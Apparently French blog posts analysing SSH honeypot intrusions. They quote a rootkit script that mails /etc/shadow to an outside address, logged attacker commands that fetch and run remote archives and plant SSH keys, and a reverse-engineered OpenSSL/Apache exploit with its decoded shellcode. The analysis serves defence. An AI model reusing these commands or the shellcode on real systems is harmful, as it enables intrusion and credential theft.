echo "${DCYN}[${WHI}sh${DCYN}]# [System Information...]${RES}"
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
echo "${DCYN}[${WHI}sh${DCYN}]# Hostname :${WHI} `hostname -f` ($MYIPADDR)${RES}"
[coupé]

if [ -f /etc/redhat-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/redhat-release`${RES}"
elif [ -f /etc/slackware-version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/slackware-version`${RES}"
elif [ -f /etc/debian_version ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/debian_version`${RES}"
elif [ -f /etc/SuSE-release ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/SuSE-release`${RES}"
elif [ -f /etc/issue ]; then
  echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/issue`${RES}"
else echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} unknown${RES}"
fi
Le setup affiche des informations concernant le système (il devrait peut-être commencer par ça).
rm -rf /tmp/info_tmp
cat /etc/shadow >> /tmp/.cln
/sbin/ifconfig >> /tmp/.cln
cat /etc/issue >> /tmp/.cln
cat /tmp/.cln | mail $md5sum -s "$1:$2:`hostname -f`:$MYIPADDR"
cat /tmp/.cln | mail -s "rk" norocos@canadianbiotech.com
rm -rf /tmp/.cln
Je ne suis pas sûr que le pirate ayant utilisé le rootkit ait fait attention à ça. Peut-être il est partageur ou alors c'est son adresse email (hébergée chez emaileveryone).
endtime=`date +%S`
total=`expr $endtime - $startime`

echo ""
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ipchains ... ? ${RES}"

if [ -f /sbin/ipchains ]; then
  echo "${WHI}`/sbin/ipchains -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no ipchains found${RES}"
fi

echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# iptables ...?${RES}"

if [ -f /sbin/iptables ]; then
  echo "${WHI}`/sbin/iptables -L input | head -5`${RES}"
else
  echo ""
  echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no iptables found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# Just ignore all errors if any ! "
echo "${DCYN}[${WHI}sh${DCYN}]# ============================== ${RED}Backdooring completed in :$total seconds ${RES}"

if [ -f /usr/sbin/syslogd ]; then
  /usr/sbin/syslogd -m 0
else
  /sbin/syslogd -m 0
fi

if [ -f /usr/sbin/inetd ]; then
  killall -HUP inetd >/dev/null 2>&1
elif [ -f /usr/sbin/xinetd ]; then
  killall -HUP xinetd
fi

cd $BASEDIR
rm -rf ../.rc
sendmail root -p norocos@canadianbiotech.com

cd ..
rm -rf .rc rk.jpg
# EOF
Après avoir installé le rootkit, notre intrus affiche le contenu de /etc/passwd puis tente d'ajouter un utilisateur avec l'uid 0 avec la commande suivante :
/usr/sbin/useradd -u 0 -g 0 -o -d "/home/admin" admin 2>&1
Seulement Kippo est assez limité dans ses fonctionnalités et cette commande n'est pas effective. Le pirate tentera de la lancer une nouvelle fois puis abandonnera.

Il va alors télécharger la clé SSH à l'adresse http://unixcrew.t35.com/authorized_keys et la placer dans /root/.ssh.

Le contenu est le suivant :
ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBCkXfcxijdvoA3Ee0Ea0yhphOLuvm0+KtEWowekUuokh
2w4H72AKniI37DIuPDtgCHbqNAsUsU33SlZE2wrEo4LQaS3KL1z6egwnuT2PIFP5XV5DUb
7Hck9gloyyUBVr0TVxRwPunuLINEUTi/2LAca1IdOeGfN+g7qlDScHLrXw== TheDemon
Pour terminer il télécharge le fichier http://unixcrew.t35.com/poza1.jpg qui est en réalité une archive et la décompresse.
Cela provoque la génération d'un dossier nommé webmail dans lequel il se place et tape la commande "make" alors qu'aucun Makefile n'est présent dans le dossier.
Dans ce dossier on trouve un bot IRC EnergyMech classique configuré pour le pseudo TheDemon sur UnderNet.
Il se déconnectera et ne se reconnectera pas...

Conclusion

On a affaire à un pirate un peu au dessus du niveau pathétique de ceux que l'on a l'habitude d'observer sur ce type de honeypot. Il cherche à couvrir ses traces avec un rootkit et connait la commande useradd. Il se débrouille sous Linux en ligne de commande.
En revanche il fait un piètre hacker : il installe un rootkit, pas tout récent, pour cacher ses traces mais au lieu de se servir des fonctionnalités du logiciel, il créé un nouvel utilisateur sur le système avec UID 0 et créé un dossier non-caché nommé webmail dans le dossier /root. Le mot webmail ne faisant pas parti des dossiers pris en compte par le rootkit.
Il installe aussi un bot EnergyMech alors que le rootkit inclus une backdoor destinée à être invisible... Bref il utilise des outils dont il ignore le fonctionnement et qui ont probablement laissé un accès à l'auteur original du rootkit, par exemple à l'aide du script nommé simplement a lancé discrètement qui créé un utilisateur et envoi un mail à l'adresse que l'on a croisé plusieurs fois...

Mass Apache pwnage from Romania

Rédigé par devloop - -

Ca fait un bon moment que je n'avais pas donné de nouvelles de mon honeypot SSH.
Il faut dire que les visites sont assez rares et généralement peu intéressantes, se terminant par rapatriement d'un EnergyMech, d'un PsyBNC voire du scanner UnixCod qui continue à faire parler de lui.

Aujourd'hui j'ai l'occasion de vous parler de quelque chose de plus croustillant, qui tournera principalement sur l'analyse d'un binaire Linux.

L'intrusion
L'attaque a eu lieu le 25 octobre. Une attaque bruteforce est lançé sur le faux serveur SSH à 14:11 et qui se terminera à 14h36. Il n'aura fallu q'une minute pour trouver les différents comptes avec mots de passes faibles.
Le scan est en provenance de l'ip 121.2.28.199 qui fait partie du réseau du FAI So-net, un fournisseur d'accès japonais et filiale de Sony.
Différents services tournent sur cette machine comme smtp, ftp (Microsoft FTP) et ssh (OpenSSH). Je n'ai pas cherché à en savoir plus mais il est fort possible que cette machine ait été infiltrée pour servir de relais aux pirates.

A 14:25, un premier visiteur "humain" se connecte au serveur en se loggant directement avec le compte "test". L'IP (86.154.169.82) est britanique et correspond au FAI BT. Le seul port TCP ouvert semble être le 5060 (SIP) et doit correspondre à une config par défaut des box fournies par le FAI.

L'historique des commandes est le suivant :
14:25 w
14:26 passwd
14:26 passwd
14:28 cd
14:28 ls
14:29 get help-bnc.6te.net/psybnc-linux.tgz
14:29 wget help-bnc.6te.net/psybnc-linux.tgz
14:30 cdrl -O
14:31 curl -O 77.194.232.72help-bnc.6te.net/psybnc-linux.tgz
14:31 FTP
14:31 ftp

Rien de bien intéressant. L'intrus a voulu changer le mot de passe du compte "test" pour fermer l'accès derrière lui et, voyant que l'accès était refusé, a fait une nouvelle tentative. Il a ensuite essayé de télécharger un PsyBNC avant de laisser tomber.

Le relais est pris par l'IP 82.77.174.40 à 14:35. Ce visiteur de Romanie (le FAI RCS&RDS gère à peu près tout ce qui touche aux communications) se connecte là encore directement avec le login "test". Il pourrait s'agir du collègue du premier ou encore du même visiteur qui a décidé de passer par un relais. Un petit coup de myIPneighbors nous apprend que différents sites Internet sont accessibles à cette adresse.
Les commandes lancées sont les suivantes :
14:35 cd ..
14:35 cd ..
14:35 ls
14:35 wget
14:35 wget www.[retiré].us/p/scan/scan.tar
14:36 ftp -cv wave.prohosting.com
14:37 ls
14:37 csd ..
14:37 cd ..
14:38 chmod +x *

Là encore, le visiteur ne fera pas de vieux os. Il a toutefois tenté de rappatrier un outil de scan intéressant.

scan.tar.gz

Contrairement à ce que l'extension du fichier laissait supposer, le fichier est bien compressé à l'aide de gzip. Une fois décompressé, l'analyse de l'archive scan.tar ne nous apprend rien de particulier (voir mon article sur l'analyse de fichiers tar). L'archive est au format ustar mais les noms d'user/group sont vides. Ce qui ne nous aurait pas appris grand chose de toute façon car l'archive semble avoir été créée en tant que root. Par contre on connait les dates de dernière modification des fichiers contenues dans l'archive sur le système du pirate.

Les fichiers présents dans l'archive sont les suivants :
  • e : un exécutable 32 bits, lié dynamiquement, strippé, datant du 4 juillet 2006.
  • ee : un fichier texte, plus précisemment une suite de ligne de commandes (mais sans entête de script bash). Le fichier est daté au 4 décembre 2006
  • SCANNER : un exécutable 32 bits, lié dynamiquement, strippé et modifié pour la dernière fois le 26 septembre 2006.
  • vuln.txt : un fichier texte avec des CRLF en caractères de terminaison. Daté du 16 juin 2007, il contient des adresses ips avec à chaque fois un entête de réponse HTTP associé.

Pour plus de détails, les commandes dans le fichier ee ressemblent à ceci :
echo -e '\033[36m Exploiting \033[34m '$1'  \033[36m using apache 2.0.40 target 10 [Make by Evolver & Snake] \033[m'
./e -t 10 -r $1
./e -t 10 -r $1
...

Le script utilise le caractère d'échappement pour afficher des couleurs sur le terminal et exécute le binaire e avec le paramêtre "t" qui varie (bien qu'à chaque fois utilisé environ 10 fois) pour différentes versions d'Apache.
Le paramêtre qui doit être passé eu script ($1) est une adresse IP comme nous le verrons un peu plus bas.

Le fichier vuln.txt ressemble à ceci :
200.241.116.58
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 14:42:51 GMT
Server: Apache/1.3.27 (Unix) PHP/4.3.1 mod_ssl/2.8.12 OpenSSL/0.9.7a
Last-Modified: Sun, 15 Jun 2003 10:21:02 GMT
ETag: quot;20ab4-1-3eec488equot;
Accept-Ranges: bytes
Content-Length: 1
Connection: close
Content-Type: text/html


-------------------------------------------------------------------
200.241.204.37
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 15:12:02 GMT
Server: Apache/2.0.44 (Unix) mod_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1 mod_jk/1.2.6
Connection: close
Content-Type: text/html; charset=ISO-8859-1


-------------------------------------------------------------------

Seul le format (une adresse IP, un header HTTP, un ligne de tirets) est à prendre en considération. on trouve aussi bien des entête Apache que IIS avec des configurations variables.

Analyse du binaire e

Bien que j'ai analysé les deux binaires, je me tiendrais ici à l'analyse de l'exécutable "e", les deux binaires ayant des fonctions très proches. Le binaire fait 75.4 Ko soit 4ko de plus que celui nommé SCANNER.

L'analyse a été faite seulement par désassemblage à l'aide de la dernière version de HT Editor (2.0.10) en suivant une méthodologie décrite ici.
Bien que le binaire ne semble pas contenir de backdoor, j'ai préféré ne pas exécuter le programme.

Une fois à l'intérieur du main, la première chose que fais le programme est d'analyser les paramêtres passés en argument. Pour cela il fait appel à la fonction getopt_long(). La chaine pour les arguments aux format court est "hr:p:v:x:cz:s:e:t:".
On en apprend plus sur les paramêtres par le biais des chaines de caractères utilisées dans un boût de code que j'ai baptisé "usage" et qui puts() les chaines suivantes :
  -h, --help          - prints this help
  -r, --hostname      - which box you want hacked ?
                        (default: name returned by hostname function)
  -p, --port          - service port num - users connect
                        to it (https: 443, smtp: 25)
  -c, --check         - check only remote if it's exploitable, not exploit
  -x, --retaddr       - jmp *ecx / call *ecx instruction, (ff e1)
                        request use writeable address (default: 0xbfffe1ff)
                        frist unlink we will write it to some writeable address
  -z, --retloc        - free ()'s got address, some address we should rewrite it
                        (eg: objdump -R /path/httpd | grep free)
  -v, --verbose       - to be verbose
  -s, --gotaddr       - brute attack, guess the free's got address
                        (eg: 0x080xxxxx)
  -e, --stack_addr    - brute stack return address (default: 0xbffffefc)
  -t, --type          - try the knowns targets. (0 to list)

Cette aide est affichée dans plusieurs cas. Le premier si le nombre d'aguments (argc) n'est pas assez grand comme le montre ce code au début du main :
mov ebx, [ebp+8]
cmp ebx, 1
jng 0x0804b77b

Dans ce cas, le programme affiche d'abord la "banière" suivante : "OpenSSL ASN1 deallocation exploit for linux/x86\n this copy for \e[32mrouter\e[0m\0"

Les deux autres cas d'affichage des options sont l'utilisation explicite de l'option -h et l'utilisation d'une option non existante.

L'utilisation de getopt_long() ne facilite pas l'analyse du binaire, heureusement la page de manuelle nous apprend qu'une fois arrivée à la fin des options, la valeur -1 est retournée. On peut alors retrouver la suite de notre main :
optlong asm
Le programme va afficher une bannière avant de faire un signal(SIGPIPE,SIG_IGN) pour empècher que le programme quitte en cas d'erreur lors de la lecture sur un pipe.
On a ensuite un test qui est effectué sur une variable que j'ai baptisé port_443 (car initialisée à 0x1bb = 443, le port pour le HTTPS). Le programme compare simplement cette variable avec la valeur 25 (port SMTP), si la variable vaut effectivement 25, un booléen (baptisé test_443_25 pour l'occasion) est mis à true puis on retourne à l'exécution logique du programme.

L'exécution du programme va alors se séparer en différentes parties en fonction des options qui ont été passées au programme.
Par exemple on peut se retrouver sur une parcelle de code qui commence par l'affichage de la chaine "## this mode only check remote exploitable, not exploit" qui correspond de toute évidence à l'utilisation de l'option -c.
Les autres cheminements possibles sont le mode force brute (-e) et le mode "target" (-t).
Ces différents modes font que l'on peut retrouver à différents endroits les même opérations, l'auteur du programme ayant du faire plusieurs copier/coller.

Par le suite, le cheminement pris pour l'analyse du programme sera celui du mode brute force qui nous accueille avec l'avertissement suivant :

you've enter try to brute-force attack mode, it's will take a very long time, but will stop as soon as it considers that the correct got address could not be found, you are crazy, man :P


Deux variables sont ensuite initialisés. La première baptisée "leet" est initialisée à 0x7a69 (soit 31337). Le programme fait différentes comparaisons tout au long de son exécution avec cette valeur, et s'en sert notamment pour savoir s'il est en mode verbose.
Quand à la seconde variable, je l'ai baptisée "stack_address".
Beaucoup de variables restent pour moi un mystère et il faudrait tracer l'exécution du programme pour déterminer leur rôle.

Le programme appelle ensuite une fonction que j'ai baptisé "tcpConnect".

tcpConnect

tcpConnect est sans doute le nom original qui a été donné à cette fonction. En effet toute erreur détectée à l'intérieur de cette fonction est remontée à l'aide de perror() et d'un message de la forme tcpConnect:nom_de_la_fonction_qui_a_échoué, par exemple "tcpConnect:gethostbyname".
Cette fonction a vraisemblablement été pompée sur un ou deux exploits existants.

Cette fonction prend trois paramêtres : le nom de la machine à attaquer, le port à utiliser ainsi qu'un timeout pour la connexion spécifié en millisecondes (4000 pour la première connexion établie en mode brute force).
En comparant le binaire et les codes sources disponibles pour la fonction tcpConnect, on retrouve bien certains passages comme le remplissage des structures hostent et timeval
. La fonction retourne le socket créé si la connexion a réussi ou la valeur -1 dans le cas contraire.

Au retour du main, le résultat de tcpConnect est vérifié. Si la connexion n'a pas pû être établie, on est redirigé vers une fonction que j'ai baptisée "print_error_and_exit" (je crois que c'est assez parlant).

HTTPS ou SMTP ?

Si la connexion a réussie, le programme continue son exécution en testant notre variable test_443_25.
Dans le cas d'un port SMTP (valeur = 1), des instructions supplémentaires sont effectuées : la fonction readData est appelée pour lire les données envoyées par le serveur SMTP et le code d'erreur récupéré à l'aide de strtol(). Si le code est 220, le programme ne quitte pas.

readData et writeData

Le nom de la fonction est là encore assez explicite car utilisé dans les messages d'appels à strerror.
Pour résumer, cette fonction est une interface verbeuse de recv() et prends les même arguments : socket, buffer et taille du buffer.
Le nombre d'octets lus est retourné ou -1 en cas d'erreur.

De la même façon, writeData est une interface pour la fonction write() et prend pour arguments le socket, le buffer et sa taille.

SMTP

Toujours dans la partie spécifique au protocole SMTP, le programme va se mettre à communiquer avec le serveur en envoyant la commande "STARTTLS" à l'aide de writeData.
L'utilisation de cette commande est expliquée dans le document SMTP Service Extension for Secure SMTP over TLS :

5. The STARTTLS Command

The format for the STARTTLS command is:

STARTTLS token

where the token parameter is one of the tokens described in Section 4.

After the client gives the STARTTLS command, the server responds with one of the following reply codes:

  • 220 - Ready to start TLS
  • 501 - Syntax error (more than one parameter)
  • 504 - TLS not available due to the server not being able to use the specified protocol
  • 554 - TLS not available due to some other, temporary reason

A publicly-referenced server SHOULD be able to accept other SMTP commands before receiving a STARTTLS command. After receiving a 220 response to a STARTTLS command, the client MUST start the TLS procedure immediately.


Comme on si attend, le programme vérifie à nouveau la réponse. Si on a un code 220 alors tout est ok.

La partie spécifique au SMTP se termine et passe à des routines spécifiques au SSL/TLS.
Les noms que j'ai pu donner à ces routines ne correspondent pas forcément bien à leur rôle, les opérations étant difficiles à comprendre sans connaître en détail le protocole SSL.

SSL et TLS

La première fonction appelée est send_client_hello. Une fonction très courte qui prend comme argument le socket et notre variable leet qui est ici utilisée pour activer ou non le mode verbeux (si égal à 31337).
La première vérification effectuée est de savoir si le protocole utilisé est le SSL3 ou le TLS1. Pour cela la variable is_ssl3_or_tls1 est lue et son contenu (un octet) vient remplacer certains caractères (3ième et 11ème) d'un buffer envoyé ensuite par writeData.
Le buffer en question est préinitialisé à "\0x16\x03\xcc\x00\x61\x01\x00\x00\x5d\x03?AAAAAAAA..."

La réponse du serveur est obtenue par check_handshake. La encore une fonction assez courte mais qui fait appelle à une fonction plus importante nommée read_handshake.
Cette dernière alloue de la place pour de grosses zones mémoires qui sont mises à zéro par memset() avant d'être remplies par la réponse du serveur. Un nombre important de vérification sont alors faites pour s'assurer que le handshake a réussi sans quoi on passe par une fonction handshake_error qui affiche une erreur puis "switch" le SSL3 pour une utilisation du TLS1 (le message d'erreur est explicite).

Vulnérabilité OpenSSL

D'après l'output du programme, la faille exploité est "OpenSSL ASN1 deallocation" qui semble être plus connue sous le nom OpenSSL ASN.1 Parsing Vulnerabilities.
La description CVE de cette vulnérabilité est la suivante :

Double-free vulnerability in OpenSSL 0.9.7 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an SSL client certificate with a certain invalid ASN.1 encoding.


Cette description s'accorde bien avec l'option -z du programme.
Certains exploits existent déjà pour cette vulnérabilité comme un brute forcer ou le openssl-too-open de Solar Eclipse dont certaines parties de code ont (à mon avis) été reprises pour ce binaire.
Core Impact a à priori aussi un exploit pour cette vulnérabilité, je ne serais pas surpris qu'il y ait aussi des similitudes avec celui-ci.

Pwnage

Maintenant que la connexion sécurisée a été établie, la phase d'exploitation commence vraiment.
La fonction exploit fait une bonne taille. Elle prend 4 arguments, le premier étant le socket, le second un offset (adresse de retour) et le quatrième est notre variable leet qui permet d'activer le mode verbeux. A l'heure actuelle le rôle du troisième argument m'échappe toujours.
Comme pour read_handshake, de nombreuses opérations sont effectuées sur des buffers. La première étape est la lecture de données venant du serveur puis la calcul d'un buffer baptisé mega_buf1, modifié en fonction du protocole (SSL3 ou TLS1) pour répondre au serveur.
D'autres paquets de données sont envoyés dans la foulée (mega_buf2 et mega_buf3) donc le rôle semble être totalement protocolaire.
Le programme effectue ensuite une pause d'une seconde avant d'envoyer le shellcode ainsi que l'offset.

Shellcoding fun

Voici un hexdump du shellcode une fois extrait du binaire :
90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
eb 0e 5a 4a 31 c9 b1 99  80 34 11 fa e2 fa eb 05  |..ZJ1....4......|
e8 ed ff ff ff 13 7d fa  fa fa a5 cb 33 4f fe 73  |......}.....3O.s|
31 ab cb 33 4b f9 cb 28  cb 3a 4a cd 37 7a 73 3c  |1..3K..(.:J.7zs<|
73 38 7a 34 f2 bb cb 3a  4a cd 37 7a 73 30 77 b5  |s8z4...:J.7zs0w.|
f2 73 2a b2 37 7a 73 2b  73 08 cb 3a 4a cd 37 7a  |.s*.7zs+s..:J.7z|
a3 7b 85 f2 94 9f 8c 9f  8e fe 18 39 11 47 cb 3a  |.{.........9.G.:|
aa 92 8d ca ca 8e 73 1b  4a fe 73 38 37 7a cb 33  |......s.J.s87z.3|
cb 3a 4a c5 37 7a bb cb  3a 4a c5 37 7a bb cb 3a  |.:J.7z..:J.7z..:|
4a c5 37 7a 73 01 73 a5  f2 cb 3a 73 bd f6 72 bd  |J.7zs.s...:s..r.|
fd cb 28 77 b5 f2 4a f1  37 7a cb 21 73 22 ba 37  |..(w..J.7z.!s".7|
7a 12 8e 05 05 05 d5 98  93 94 d5 89 92 c5 00     |z..............|

On remarque la présence de NOP (0x90) au début, suivi d'un saut (0xeb) qui permettent de le reconnaître facilement.
En revanche la suite n'a rien de bien habituelle, en particulier on note l'absence de la chaine "/bin/sh".

Pour comprendre le fonctionnement du shellcode, on le place dans un fichier et on tappe ndisasm -u shellcode :
00000010  EB0E              jmp short 0x20
00000012  5A                pop edx
00000013  4A                dec edx
00000014  31C9              xor ecx,ecx
00000016  B199              mov cl,0x99
00000018  803411FA          xor byte [ecx+edx],0xfa
0000001C  E2FA              loop 0x18
0000001E  EB05              jmp short 0x25
00000020  E8EDFFFFFF        call 0x12
00000025  137DFA            adc edi,[ebp-0x6]
...

La raison pour laquelle le shellcode n'est en grande partie pas lisible, c'est qu'une partie est crypté à l'aide d'un XOR.
Le code effectue un saut vers l'instruction call à l'adresse 20. Le call le ramène à la seconde instruction avec l'adresse du reste du shellcode dans la pile (car aucun ret n'a été effectué). Cette adresse est récupérée et placée dans edx.
Toute le code à partir de cette adresse est décodé à l'aide d'un XOR avec 0xfa sur une longueur de 153 (0x99) octets.
Une fois décodé, le code qui nous manquait est :
e9 87 00 00 00 5f 31 c9  b5 04 89 cb 51 31 c9 b1  |....._1.....Q1..|
03 31 d2 31 c0 b0 37 cd  80 89 c6 89 c2 80 ce 08  |.1.1..7.........|
41 31 c0 b0 37 cd 80 89  ca 8d 4f 08 89 d0 48 cd  |A1..7.....O...H.|
80 89 d1 89 f2 31 c0 b0  37 cd 80 59 81 7f 08 6e  |.....1..7..Y...n|
65 76 65 74 04 e2 c3 eb  bd 31 c0 50 68 77 30 30  |evet.....1.Phw00|
74 89 e1 b0 04 89 c2 cd  80 31 c9 31 c0 b0 3f cd  |t........1.1..?.|
80 41 31 c0 b0 3f cd 80  41 31 c0 b0 3f cd 80 89  |.A1..?..A1..?...|
fb 89 5f 08 31 c0 89 47  0c 88 47 07 31 d2 8d 4f  |.._.1..G..G.1..O|
08 b0 0b cd 80 31 db 89  d8 40 cd 80 e8 74 ff ff  |.....1...@...t..|
ff 2f 62 69 6e 2f 73 68  3f fa                    |./bin/sh?.|

soit les instructions suivantes :
00000000  E987000000        jmp 0x8c
00000005  5F                pop edi
00000006  31C9              xor ecx,ecx
00000008  B504              mov ch,0x4
0000000A  89CB              mov ebx,ecx
0000000C  51                push ecx
0000000D  31C9              xor ecx,ecx
0000000F  B103              mov cl,0x3
00000011  31D2              xor edx,edx
00000013  31C0              xor eax,eax
00000015  B037              mov al,0x37 ; fcntl
00000017  CD80              int 0x80
00000019  89C6              mov esi,eax
0000001B  89C2              mov edx,eax
0000001D  80CE08            or dh,0x8
00000020  41                inc ecx
00000021  31C0              xor eax,eax
00000023  B037              mov al,0x37 ; fcntl
00000025  CD80              int 0x80
00000027  89CA              mov edx,ecx
00000029  8D4F08            lea ecx,[edi+0x8]
0000002C  89D0              mov eax,edx
0000002E  48                dec eax
0000002F  CD80              int 0x80    ; read
00000031  89D1              mov ecx,edx
00000033  89F2              mov edx,esi
00000035  31C0              xor eax,eax
00000037  B037              mov al,0x37 ; fcntl
00000039  CD80              int 0x80
0000003B  59                pop ecx
0000003C  817F086E657665    cmp dword [edi+0x8],0x6576656e ; even/neve
00000043  7404              jz 0x49
00000045  E2C3              loop 0xa
00000047  EBBD              jmp short 0x6
00000049  31C0              xor eax,eax
0000004B  50                push eax
0000004C  6877303074        push dword 0x74303077 ; t00w/w00t
00000051  89E1              mov ecx,esp
00000053  B004              mov al,0x4  ; write
00000055  89C2              mov edx,eax
00000057  CD80              int 0x80
00000059  31C9              xor ecx,ecx ; stdin
0000005B  31C0              xor eax,eax
0000005D  B03F              mov al,0x3f ; dup2
0000005F  CD80              int 0x80
00000061  41                inc ecx     ; stdout
00000062  31C0              xor eax,eax
00000064  B03F              mov al,0x3f ; dup2
00000066  CD80              int 0x80
00000068  41                inc ecx     ; stderr
00000069  31C0              xor eax,eax
0000006B  B03F              mov al,0x3f ; dup2
0000006D  CD80              int 0x80
0000006F  89FB              mov ebx,edi
00000071  895F08            mov [edi+0x8],ebx
00000074  31C0              xor eax,eax
00000076  89470C            mov [edi+0xc],eax
00000079  884707            mov [edi+0x7],al
0000007C  31D2              xor edx,edx
0000007E  8D4F08            lea ecx,[edi+0x8]
00000081  B00B              mov al,0xb  ; execve
00000083  CD80              int 0x80
00000085  31DB              xor ebx,ebx
00000087  89D8              mov eax,ebx
00000089  40                inc eax
0000008A  CD80              int 0x80    ; exit
0000008C  E874FFFFFF        call 0x5
00000091  2F62696E2F7368    /bin/sh
00000098  3F                aas
00000099  FA                cli


check_exploit_result

Le shellcode est en grande partie facilement compréhensible : il redirige les entrées/sorties vers un beau /bin/sh prêt à servir.
Pourtant juste avant il effectue un read() puis un write() pour le moins énigmatiques.

Le mystère est levé par un appel à la fonction check_exploit_result qui vient directement après l'appel à exploit.
check_exploit_result prend pour seul argument le socket de la connexion. Il commence par envoyer la chaine "neve" au serveur puis attend une réponse de la part du serveur. Si la réponse contient "w00t", le programme affiche un message de victoire ("w3 g0t 1t") et passe à une fonction get_shell qui envoit quelques commandes pour configurer le shell distant puis récupère ce qui est tappé à la console pour le renvoyer sur le socket et vice/versa.

Le code du shellcode de son côté va lire les données venant du client, et si le message est "neve", il renvoit la réponse "w00t".
Un test pratique pour déterminer si le shellcode a bien été exécuté :)

Exit

Pour conclure, le binaire était très intéressant et a sans doute peu circulé à l'heure actuelle. Il semble aller plus loin dans l'exploitation de la vulnérabilité d'OpenSSL en prenant en compte le protocole TLS1 et en s'attaquant aussi aux services de "Secure SMTP over TLS".
L'autre binaire est assez proche à la différence qu'il s'agit d'un scanneur : on lui passe une plage d'adresses IP et il va chercher des machines vulnérables sans les exploiter (la code correspond au mode -c du binaire analysé). Quand il en trouve une il les rajoute au fichier vuln.txt dont on a vu la structure au début.
Et pendant que j'y pense, dans le scanner on trouve des mots en roumain alors qu'il n'y en a pas dans le binaire e.

La meilleure façon de se protéger de cette attaque est d'être à jour de ses logiciels, les offsets proposés par le programmes correspondant aux versions suivantes :
SuSE 9.0 (apache-1.3.28-60.i586.rpm)
SuSE 9.0 (apache2-leader-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-metuxmpm-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-prefork-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-worker-2.0.48-9.i586.rpm)
Mandrake 9.1 (apache2-2.0.44-11mdk.i586.rpm)
Mandrake 9.1 (apache2-2.0.47-1.6.91mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6.3.92mdk.i586.rpm)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd.worker)
Red Hat 9 (httpd-2.0.40-21.3.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd.worker)

Classé dans : Non classé - Mots clés : honeypot

Dernières visites sur le honeypot SSH

Rédigé par devloop - -

Je vous fait part des dernières visites que j'ai eu sur mon honeypot Kojoney dont je vous avait parlé ici et dont la dernière intrusion intéressante remonte à ce billet.

Ici pas d'intrus très imaginatifs mais c'est l'occasion d'écrire quelque chose.

Premier cas
Un brute force est effectué depuis une adresse IP située en Russie. Le FAI a son siège social à Moscou.
L'attaquant est venue depuis une adresse IP roumaine depuis le FAI RDS.

Les commandes lançées sont très certainement l'oeuvre d'un bot :
uname -a
uptime
/sbin/ifconfig | grep inet
cd /var/tmp; wget http://adriana.marte.ro/luci.tgz; tar xzvf luci.tgz; rm -rf luci.tgz; cd .luci; ./crond

La sortie de quelques commandes systèmes est récupérée (certainement enregistrée sur la machine qui a lancé le brute force). Ca leur permet de connaître la version du kernel, l'ip de la machine ainsi que son uptime (ils aiment bien ça)
Une archive tgz est ensuite récupérée à l'aide de wget. Le fichier désarchivé donne un répertoire caché (.luci) dans lequel on trouve un EnergyMech compilé sous le nom crond ainsi qu'un pico (un éditeur de texte qu'on retrouve souvent dans ces "kits"... ils ne sont même pas capables d'utiliser Vim).
L'adresse du site sur laquelle a été pris l'archive nous confirme la nationnalité du pirate.
Le bot IRC est configuré pour se connecter sur un serveur du réseau UnderNet sur un chan baptisé "#LUCIsiCUTIT".
Une fois le bot lancé, le pirate n'a plus qu'à se connecter au chan pour lui donner des ordres. Bien sûr, comme Kojoney n'est qu'une simulation de shell, les commandes n'ont pas vraiment été exécutées.

Second cas
L'attaque brute force provient d'une machine polonaise dont le FAI est la version polonaise de FT/Orange.
L'intrus se connectera depuis une machine roumaine chez ARtelecom.
Un premier passage très rapide est fait pas le pirate :
w
cat /proc/cpuinfo

Afficher les infos sur le CPU est une autre action qui revient souvent... mais je doute qu'ls s'en servent pour savoir s'ils sont sur un honeypot.
passwd
cd /var/tmp
cd /tmp
ls -a
mkdir ." '^?"
cd ." '^?"
wget www.eraserulhk.evonet.ro/arhive/james.tgz
curl -O www.eraserulhk.evonet.ro/arhive/james.tgz
ftp
wget
su root

Un bon nombre de commandes n'aboutit pas, ce qui explique qu'ils ont tendance à s'acharner.
Après une nouvelle déconnexion (toujours très courtes... c'est probablement parce que le terminal bugge) il revient avec les commandes suivantes :
passwd
passwd
pwd
ls -a
wget valoare.xhost.ro/unixcod.tgz;tar zxvf unixcod.tgz;rm -rf unixcod.tgz;cd unixcod;chmod +x *;mv unix bash
curl -O  valoare.xhost.ro/unixcod.tgz
ftp

La première archive (james.tgz) génère un dossier caché nommé "..."
On y trouve un EnergyMech (encore) compilé pour différentes plates-formes avec un nom différent à chaque fois : darwin (Mac PPC), httpd (FreeBSD), linux (Linux ELF x86)
Le bot cherche à se connecter sur le chan "#HackerTeam" sur un serveur UnderNet. On trouve aussi l'adresse d'un site Internet (en .ro) qui est celui du pirate... Rien d'intéressant à y voir.

La seconde archive "unixcod.tgz" est un kit d'exploitation ssh. On y trouve :

- Une liste de paires login/password (fichier data.conf)
- Un script baptisé "unix" dont le contenu est le suivant :
